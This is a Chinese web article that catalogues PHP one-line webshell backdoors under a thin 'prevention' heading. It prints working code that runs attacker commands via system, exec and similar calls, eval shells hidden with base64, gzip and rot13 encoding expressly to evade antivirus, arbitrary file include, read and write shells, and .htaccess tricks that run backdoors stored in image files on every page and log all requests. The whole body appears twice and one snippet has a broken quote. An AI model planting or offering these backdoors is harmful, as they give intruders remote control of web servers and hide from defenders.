PHP木马大全 一句话的PHP木马的防范
发布时间:2012-06-28 10:51:31 作者:佚名 我要评论
php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢
(福利推荐:你还在原价购买阿里云服务器?现在阿里云0.8折限时抢购活动来啦!4核8G企业云服务器仅2998元/3年,立即抢购>>>:9i0i.cn/aliyun)
php后门木马常用的函数大致上可分为四种类型:
1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file
1. 执行系统命令:
system 函数
//test.php?cmd=ls
system($_GET[cmd]);
passthru 函数
//test.php?cmd=ls
passthru($_GET[cmd]);
shell_exec 函数
//test.php?cmd=ls
echo shell_exec($_GET[cmd]);
exec 函数
//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);
popen 函数
//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
proc_open 函数
//test.php?cmd=ls
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
print_r($output);
2. 代码执行与加密:
eval 函数
//最常见的一句话木马
eval($_POST[cmd]);
base64_decode 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
gzinflate 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
gzuncompress 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
gzdecode 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));
str_rot13 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST[cmd]);
eval(str_rot13('riny($_CBFG[pzq]);'));
assert 函数
//类似eval函数
assert($_POST[cmd]);
call_user_func 函数
//使用call_user_func调用assert
call_user_func('assert',$_POST[cmd]);
call_user_func 函数
//使用call_user_func调用任意函数
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST[cmd]);
组合代码
//组合方式调用任意函数
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST[cmd]);
3. 文件包含与生成:
require 函数
//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);
require_once 函数
//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);
include 函数
//包含任意文件 www.jb51.net
//test.php?file=123.jpg
include($_GET[file]);
include_once 函数
//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);
file_get_contents 函数
//读取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);
file_put_contents 函数
//生成任意内容文件
//a=test.php&b=
file_put_contents($_GET[a],$_GET[b]);
fputs 函数
//生成任意内容文件
//a=test.php&b=
fputs(fopen($_GET[a],"w"),$_GET[b]);
4. .htaccess:
SetHandler
//可将php代码存于非php后缀文件,例: x.jpg
//将以下代码写入.htaccess中
//连接x.jpg即可启动后门木马出处www.admin8.us
SetHandler application/x-httpd-php
auto_prepend_file
//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马
php_value auto_prepend_file c:/apache2/htdocs/123.gif
auto_append_file
//类似auto_prepend_file
//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
php_value auto_append_file c:/apache2/htdocs/123.gif
防范方法:通过禁止危险函数 php.ini中设置disable_functions详情可以参考下 /article/19292.htm
1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file
1. 执行系统命令:
system 函数
//test.php?cmd=ls
system($_GET[cmd]);
passthru 函数
//test.php?cmd=ls
passthru($_GET[cmd]);
shell_exec 函数
//test.php?cmd=ls
echo shell_exec($_GET[cmd]);
exec 函数
//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);
popen 函数
//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
proc_open 函数
//test.php?cmd=ls
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
print_r($output);
2. 代码执行与加密:
eval 函数
//最常见的一句话木马
eval($_POST[cmd]);
base64_decode 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
gzinflate 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
gzuncompress 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
gzdecode 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));
str_rot13 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST[cmd]);
eval(str_rot13('riny($_CBFG[pzq]);'));
assert 函数
//类似eval函数
assert($_POST[cmd]);
call_user_func 函数
//使用call_user_func调用assert
call_user_func('assert',$_POST[cmd]);
call_user_func 函数
//使用call_user_func调用任意函数
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST[cmd]);
组合代码
//组合方式调用任意函数
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST[cmd]);
3. 文件包含与生成:
require 函数
//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);
require_once 函数
//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);
include 函数
//包含任意文件 www.jb51.net
//test.php?file=123.jpg
include($_GET[file]);
include_once 函数
//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);
file_get_contents 函数
//读取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);
file_put_contents 函数
//生成任意内容文件
//a=test.php&b=
file_put_contents($_GET[a],$_GET[b]);
fputs 函数
//生成任意内容文件
//a=test.php&b=
fputs(fopen($_GET[a],"w"),$_GET[b]);
4. .htaccess:
SetHandler
//可将php代码存于非php后缀文件,例: x.jpg
//将以下代码写入.htaccess中
//连接x.jpg即可启动后门木马出处www.admin8.us
SetHandler application/x-httpd-php
auto_prepend_file
//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马
php_value auto_prepend_file c:/apache2/htdocs/123.gif
auto_append_file
//类似auto_prepend_file
//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
php_value auto_append_file c:/apache2/htdocs/123.gif
防范方法:通过禁止危险函数 php.ini中设置disable_functions详情可以参考下 /article/19292.htm
相关文章
- 最近看到网上曝出的dedecms最新版本的一个注入漏洞利用,漏洞PoC和分析文章也已在网上公开.但是在我实际测试过程当中,发现无法复现2013-06-11
- SQL注入攻击的危害性很大。在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理。这有利于管理员采取有针对性的防治措施2012-07-10
- 一直以来很多我网站都被植入了很多后门,这里简单的分下黑客常用的手段,方便管理员或站长注意防御2013-01-10
- 讯时系统(xuas)最新通杀漏洞0day图文说明,使用讯时网站管理系统的朋友可以参考下。2011-07-15
- 不知道各位。在上传的时候。 有没需要过。 一个上传。 不修改名字。。然后上传目录已经被程序所定义了。2011-04-01
phpcms2008 代码执行 批量getshell EXP(使用菜刀)
这篇文章主要介绍了phpcms2008 代码执行 批量getshell EXP的相关资料,需要的朋友可以参考下2014-05-09- php后台插一句话的思路加114网址导航后台拿webshell的方法。2011-09-29
- 现在很多搞web开发的人,脚本安全做得真烂,简单而又“复杂”过滤两下,事实上根本没理解到真正的方法,也怪90%的脚本书上只讲语法,顺便鄙视下国内那些XX砖家写的书,不讲2011-05-15
- 在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了(随着版本的更新)2011-07-15
- 大家都知道,没有一台电脑是完全安全的,都有一个攻破点,下面小编就以实例来讲解一下,一起来看看吧2016-09-01
最新评论